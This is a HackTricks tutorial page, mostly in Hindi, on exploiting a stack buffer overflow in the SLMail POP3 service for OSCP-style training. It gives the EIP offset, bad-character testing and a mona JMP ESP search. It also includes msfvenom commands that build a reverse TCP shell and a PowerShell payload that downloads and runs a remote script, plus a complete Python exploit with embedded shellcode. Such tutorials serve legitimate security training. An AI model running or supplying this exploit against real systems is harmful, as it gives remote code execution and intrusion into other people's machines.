Windows Exploiting (Basic Guide - OSCP lvl)
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Tip
क्या आप post-OSCP kernel primitives खोज रहे हैं? Modern registry hive corruption chains for deterministic SYSTEM shells यहाँ कवर किए गए हैं:
Windows Registry Hive Exploitation
SLMail service को इंस्टॉल करना शुरू करें
SLMail service रीस्टार्ट करें
हर बार जब आपको restart the service SLMail करने की आवश्यकता हो, आप इसे windows console का उपयोग करके कर सकते हैं:
net start slmail
.png)
बहुत ही बेसिक python exploit टेम्पलेट
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Immunity Debugger फ़ॉन्ट बदलें
Go to Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK
प्रोसेस को Immunity Debugger से अटैच करें:
File –> Attach
.png)
और START बटन दबाएँ
Exploit भेजें और जाँचें कि EIP प्रभावित हुआ है या नहीं:
.png)
हर बार जब आप सेवा को ब्रेक करें तो आपको इसे इस पृष्ठ की शुरुआत में बताये अनुसार रीस्टार्ट करना चाहिए।
EIP को modify करने के लिए एक pattern बनाएं
Pattern उतना बड़ा होना चाहिए जितना buffer आपने पहले सेवा को तोड़ने के लिए इस्तेमाल किया था।
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000
exploit के buffer को बदलें, pattern सेट करें और उसे लॉन्च करें।
एक नया crash होना चाहिए, लेकिन अलग EIP address के साथ:
.png)
जाँच करें कि address आपके pattern में था या नहीं:
.png)
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438
ऐसा लगता है कि हम EIP को buffer के offset 2606 में संशोधित कर सकते हैं।
exploit के buffer को संशोधित करके इसे जाँचें:
buffer = 'A'*2606 + 'BBBB' + 'CCCC'
इस buffer के साथ EIP क्रैश होने पर यह 42424242 (“BBBB”) की ओर इशारा करना चाहिए।
.png)
.png)
ऐसा लगता है कि यह काम कर रहा है।
Stack के अंदर Shellcode के लिए जगह जाँचें
किसी भी शक्तिशाली shellcode के लिए 600B पर्याप्त होना चाहिए।
आइए bufer बदलें:
buffer = 'A'*2606 + 'BBBB' + 'C'*600
नया exploit लॉन्च करें और EBP तथा उपयोगी shellcode की लंबाई जांचें
.png)
.png)
आप देख सकते हैं कि जब vulnerability पहुंचती है, तो EBP shellcode की ओर इशारा कर रहा है और हमारे पास यहाँ shellcode रखने के लिए काफी जगह है।
इस मामले में हमारे पास from 0x0209A128 to 0x0209A2D6 = 430B. पर्याप्त है।
Check for bad chars
buffer को फिर से बदलें:
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
badchars 0x01 से शुरू होते हैं क्योंकि 0x00 लगभग हमेशा खराब होता है।
इस नए buffer के साथ exploit को बार-बार चलाएँ और उन chars को हटा दें जो बेकार पाए गए:
For example:
उदाहरण के लिए:
इस मामले में आप देख सकते हैं कि आपको char 0x0A का उपयोग नहीं करना चाहिए (char 0x09 के बाद मेमोरी में कुछ भी सेव नहीं होता)।
.png)
इस मामले में आप देख सकते हैं कि char 0x0D से बचा जाता है:
.png)
JMP ESP को return address के रूप में खोजें
इस्तेमाल करते हुए:
!mona modules #Get protections, look for all false except last one (Dll of SO)
आप मेमोरी मैप्स सूचीबद्ध करेंगे। ऐसी किसी DLl की खोज करें जिसमें:
- Rebase: False
- SafeSEH: False
- ASLR: False
- NXCompat: False
- OS Dll: True
.png)
अब, इस मेमोरी के भीतर आपको कुछ JMP ESP बाइट्स मिलनी चाहिए; इसके लिए चलाएँ:
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
फिर, यदि कोई address मिल जाता है, तो ऐसा address चुनें जिसमें कोई badchar न हो:
.png)
इस मामले में, उदाहरण के लिए: _0x5f4a358f_
shellcode बनाएं
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
अगर exploit काम नहीं कर रहा है जबकि उसे होना चाहिए (आप ImDebg से देख सकते हैं कि shellcode पहुँच रहा है), तो अन्य shellcodes बनाने की कोशिश करें (msfvenom से उसी पैरामीटर के लिए अलग shellcodes बनाकर)।
शुरुआत में कुछ NOPS जोड़ें shellcode के साथ, और इन्हें तथा return address का उपयोग करके JMP ESP पर जाएँ, और exploit को पूरा करें:
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
Warning
ऐसे shellcodes होते हैं जो स्वयं को ओवरराइट कर देंगे, इसलिए shellcode से पहले हमेशा कुछ NOPs जोड़ना महत्वपूर्ण है
Shellcode को बेहतर बनाना
इन पैरामीटर को जोड़ें:
EXITFUNC=thread -e x86/shikata_ga_nai
Tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks

